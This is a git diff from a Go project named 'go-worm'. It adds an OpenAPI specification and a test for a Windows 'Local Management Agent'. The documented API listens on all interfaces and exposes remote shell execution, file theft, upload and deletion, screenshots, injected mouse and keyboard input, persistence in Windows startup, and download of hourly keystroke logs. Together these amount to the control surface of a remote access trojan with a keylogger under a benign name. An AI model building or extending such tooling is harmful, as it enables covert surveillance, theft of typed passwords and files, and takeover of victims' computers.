diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 792cff6..f79be22 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -68,6 +68,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/", a.handleWeb) mux.HandleFunc("/health", a.handleHealth) mux.HandleFunc("/healthz", a.handleHealth) + mux.HandleFunc("/openapi", a.handleOpenAPI) mux.HandleFunc("/openapi.json", a.handleOpenAPI) mux.HandleFunc("/api/v1/status", a.handleStatus) mux.HandleFunc("/api/v1/files", a.handleFiles) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 4c32b31..e3c68a7 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -21,6 +21,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/keylog" "tea.chunkbyte.com/kato/go-worm/lib/models" + "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" ) @@ -38,23 +39,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } - helpers.WriteJSON(w, http.StatusOK, map[string]any{ - "openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version}, - "paths": map[string]any{ - "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, - "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}}, - "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, - "/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}}, - "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, - "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, - "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, - "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, - "/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}}, - "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, - "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, - "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, - }, - }) + helpers.WriteJSON(w, http.StatusOK, openapi.Spec()) } func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go new file mode 100644 index 0000000..1988302 --- /dev/null +++ b/lib/openapi/spec.go @@ -0,0 +1,401 @@ +package openapi + +import "tea.chunkbyte.com/kato/go-worm/lib/config" + +func Spec() map[string]any { + ref := func(name string) map[string]string { + return map[string]string{"$ref": "#/components/schemas/" + name} + } + jsonBody := func(schema map[string]string) map[string]any { + return map[string]any{ + "required": true, + "content": map[string]any{ + "application/json": map[string]any{"schema": schema}, + }, + } + } + errResp := func(desc string) map[string]any { + return map[string]any{"description": desc, "content": map[string]any{ + "application/json": map[string]any{"schema": ref("Error")}, + }} + } + okJSON := func(desc string, schema map[string]string) map[string]any { + return map[string]any{"description": desc, "content": map[string]any{ + "application/json": map[string]any{"schema": schema}, + }} + } + + return map[string]any{ + "openapi": "3.0.3", + "info": map[string]any{ + "title": "Local Management Agent", + "description": "HTTP API for a Windows local management agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.", + "version": config.Version, + }, + "servers": []map[string]any{ + {"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"}, + }, + "paths": map[string]any{ + "/health": map[string]any{ + "get": map[string]any{ + "summary": "Health check", + "operationId": "health", + "responses": map[string]any{ + "200": okJSON("Agent is running", ref("Health")), + }, + }, + }, + "/healthz": map[string]any{ + "get": map[string]any{ + "summary": "Health check alias", + "operationId": "healthz", + "responses": map[string]any{ + "200": okJSON("Agent is running", ref("Health")), + }, + }, + }, + "/api/v1/status": map[string]any{ + "get": map[string]any{ + "summary": "Agent status", + "operationId": "getStatus", + "responses": map[string]any{ + "200": okJSON("Host and agent metadata", ref("Status")), + }, + }, + }, + "/api/v1/files": map[string]any{ + "get": map[string]any{ + "summary": "List directory entries", + "operationId": "listFiles", + "parameters": []map[string]any{ + {"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"}, + {"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"}, + }, + "responses": map[string]any{ + "200": okJSON("Directory listing", ref("FileList")), + "400": errResp("Invalid path or depth"), + "403": errResp("Path outside allowed root"), + "404": errResp("Path not found"), + }, + }, + "delete": map[string]any{ + "summary": "Delete a file or directory", + "operationId": "deleteFile", + "parameters": []map[string]any{ + {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, + }, + "responses": map[string]any{ + "200": okJSON("Deleted", ref("OkPath")), + "400": errResp("Invalid path"), + "403": errResp("Path outside allowed root"), + "404": errResp("Path not found"), + }, + }, + }, + "/api/v1/download": map[string]any{ + "get": map[string]any{ + "summary": "Download a file", + "operationId": "downloadFile", + "parameters": []map[string]any{ + {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, + }, + "responses": map[string]any{ + "200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}}, + "400": errResp("Invalid path or directory"), + "403": errResp("Path outside allowed root"), + "404": errResp("File not found"), + }, + }, + }, + "/api/v1/upload": map[string]any{ + "post": map[string]any{ + "summary": "Upload a file", + "operationId": "uploadFile", + "requestBody": map[string]any{ + "required": true, + "content": map[string]any{ + "multipart/form-data": map[string]any{ + "schema": map[string]any{ + "type": "object", + "required": []string{"path", "file"}, + "properties": map[string]any{ + "path": map[string]string{"type": "string", "description": "Destination directory"}, + "file": map[string]string{"type": "string", "format": "binary"}, + }, + }, + }, + }, + }, + "responses": map[string]any{ + "200": okJSON("Uploaded", ref("UploadResult")), + "400": errResp("Invalid path or body"), + "403": errResp("Path outside allowed root"), + }, + }, + }, + "/api/v1/screenshot": map[string]any{ + "get": map[string]any{ + "summary": "Capture a monitor", + "operationId": "screenshot", + "parameters": []map[string]any{ + {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}}, + {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, + {"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}}, + }, + "responses": map[string]any{ + "200": map[string]any{ + "description": "Screenshot image", + "headers": map[string]any{ + "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, + }, + "content": map[string]any{ + "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + }, + }, + "400": errResp("Invalid parameters"), + "503": errResp("No interactive desktop available"), + }, + }, + }, + "/api/v1/exec": map[string]any{ + "post": map[string]any{ + "summary": "Run a shell command", + "operationId": "exec", + "requestBody": jsonBody(ref("ExecRequest")), + "responses": map[string]any{ + "200": okJSON("Command finished", ref("ExecResponse")), + "400": errResp("Invalid command or timeout"), + "504": errResp("Command timed out"), + }, + }, + }, + "/api/v1/startup": map[string]any{ + "post": map[string]any{ + "summary": "Add agent to Windows startup", + "operationId": "enableStartup", + "responses": map[string]any{ + "200": okJSON("Startup state", ref("StartupState")), + }, + }, + "delete": map[string]any{ + "summary": "Remove agent from Windows startup", + "operationId": "disableStartup", + "responses": map[string]any{ + "200": okJSON("Startup state", ref("StartupState")), + }, + }, + }, + "/api/v1/input/click": map[string]any{ + "post": map[string]any{ + "summary": "Click the desktop", + "operationId": "click", + "requestBody": jsonBody(ref("ClickRequest")), + "responses": map[string]any{ + "200": okJSON("Clicked", ref("ClickResult")), + "400": errResp("Invalid coordinates or button"), + }, + }, + }, + "/api/v1/input/key": map[string]any{ + "post": map[string]any{ + "summary": "Send a key press", + "operationId": "sendKey", + "requestBody": jsonBody(ref("KeyRequest")), + "responses": map[string]any{ + "200": okJSON("Key sent", ref("KeyResult")), + "400": errResp("Invalid key or action"), + }, + }, + }, + "/api/v1/input/text": map[string]any{ + "post": map[string]any{ + "summary": "Type text into the focused field", + "operationId": "typeText", + "requestBody": jsonBody(ref("TextRequest")), + "responses": map[string]any{ + "200": okJSON("Text typed", ref("TextResult")), + "400": errResp("Invalid or empty text"), + }, + }, + }, + "/api/v1/keylog": map[string]any{ + "get": map[string]any{ + "summary": "List keystroke log files", + "operationId": "listKeylogs", + "responses": map[string]any{ + "200": okJSON("Keystroke log index", ref("KeylogList")), + }, + }, + }, + "/api/v1/keylog/download": map[string]any{ + "get": map[string]any{ + "summary": "Download a keystroke log file", + "operationId": "downloadKeylog", + "parameters": []map[string]any{ + {"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"}, + }, + "responses": map[string]any{ + "200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{ + "text/plain": map[string]any{"schema": map[string]string{"type": "string"}}, + }}, + "400": errResp("Invalid filename"), + "404": errResp("Log file not found"), + }, + }, + }, + }, + "components": map[string]any{ + "schemas": map[string]any{ + "Error": map[string]any{ + "type": "object", "required": []string{"error"}, + "properties": map[string]any{"error": map[string]string{"type": "string"}}, + }, + "Health": map[string]any{ + "type": "object", "required": []string{"status"}, + "properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}}, + }, + "Status": map[string]any{ + "type": "object", + "properties": map[string]any{ + "os": map[string]string{"type": "string"}, + "architecture": map[string]string{"type": "string"}, + "user": map[string]string{"type": "string"}, + "hostname": map[string]string{"type": "string"}, + "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, + "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, + "agent_version": map[string]string{"type": "string"}, + "listen_address": map[string]string{"type": "string"}, + "startup_enabled": map[string]any{"type": "boolean"}, + }, + }, + "FileItem": map[string]any{ + "type": "object", + "properties": map[string]any{ + "name": map[string]string{"type": "string"}, + "path": map[string]string{"type": "string"}, + "type": map[string]any{"type": "string", "enum": []string{"file", "dir"}}, + "size": map[string]any{"type": "integer", "format": "int64"}, + "modified_time": map[string]string{"type": "string", "format": "date-time"}, + }, + }, + "FileList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "path": map[string]string{"type": "string"}, + "depth": map[string]any{"type": "integer"}, + "entries": map[string]any{"type": "array", "items": ref("FileItem")}, + }, + }, + "OkPath": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "path": map[string]string{"type": "string"}, + }, + }, + "UploadResult": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "path": map[string]string{"type": "string"}, + "size": map[string]any{"type": "integer", "format": "int64"}, + "name": map[string]string{"type": "string"}, + }, + }, + "ExecRequest": map[string]any{ + "type": "object", "required": []string{"command"}, + "properties": map[string]any{ + "command": map[string]string{"type": "string", "example": "ipconfig /all"}, + "timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30}, + }, + }, + "ExecResponse": map[string]any{ + "type": "object", + "properties": map[string]any{ + "exit_code": map[string]any{"type": "integer"}, + "stdout": map[string]string{"type": "string"}, + "stderr": map[string]string{"type": "string"}, + }, + }, + "StartupState": map[string]any{ + "type": "object", + "properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}}, + }, + "ClickRequest": map[string]any{ + "type": "object", "required": []string{"x", "y", "button"}, + "properties": map[string]any{ + "x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"}, + "y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"}, + "button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}}, + "monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0}, + }, + }, + "ClickResult": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "x": map[string]any{"type": "integer"}, + "y": map[string]any{"type": "integer"}, + }, + }, + "KeyRequest": map[string]any{ + "type": "object", "required": []string{"key"}, + "properties": map[string]any{ + "key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."}, + "action": map[string]any{ + "type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap", + }, + "modifiers": map[string]any{ + "type": "array", + "items": map[string]any{ + "type": "string", "enum": []string{"ctrl", "alt", "shift", "win"}, + }, + }, + }, + }, + "KeyResult": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "key": map[string]string{"type": "string"}, + "action": map[string]string{"type": "string"}, + }, + }, + "TextRequest": map[string]any{ + "type": "object", "required": []string{"text"}, + "properties": map[string]any{ + "text": map[string]any{"type": "string", "maxLength": 4096}, + "delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200}, + }, + }, + "TextResult": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "length": map[string]any{"type": "integer"}, + "delay_ms": map[string]any{"type": "integer"}, + }, + }, + "KeylogFile": map[string]any{ + "type": "object", + "properties": map[string]any{ + "name": map[string]string{"type": "string"}, + "size": map[string]any{"type": "integer", "format": "int64"}, + "modified_time": map[string]string{"type": "string", "format": "date-time"}, + }, + }, + "KeylogList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "directory": map[string]string{"type": "string"}, + "files": map[string]any{"type": "array", "items": ref("KeylogFile")}, + }, + }, + }, + }, + } +} diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go new file mode 100644 index 0000000..ef4c285 --- /dev/null +++ b/lib/openapi/spec_test.go @@ -0,0 +1,25 @@ +package openapi + +import "testing" + +func TestSpec(t *testing.T) { + spec := Spec() + if spec["openapi"] != "3.0.3" { + t.Fatalf("openapi version = %v", spec["openapi"]) + } + paths, ok := spec["paths"].(map[string]any) + if !ok || len(paths) < 12 { + t.Fatalf("expected at least 12 paths, got %d", len(paths)) + } + if _, ok := paths["/api/v1/status"]; !ok { + t.Fatal("missing /api/v1/status") + } + components, ok := spec["components"].(map[string]any) + if !ok { + t.Fatal("missing components") + } + schemas, ok := components["schemas"].(map[string]any) + if !ok || len(schemas) < 10 { + t.Fatalf("expected schemas, got %d", len(schemas)) + } +}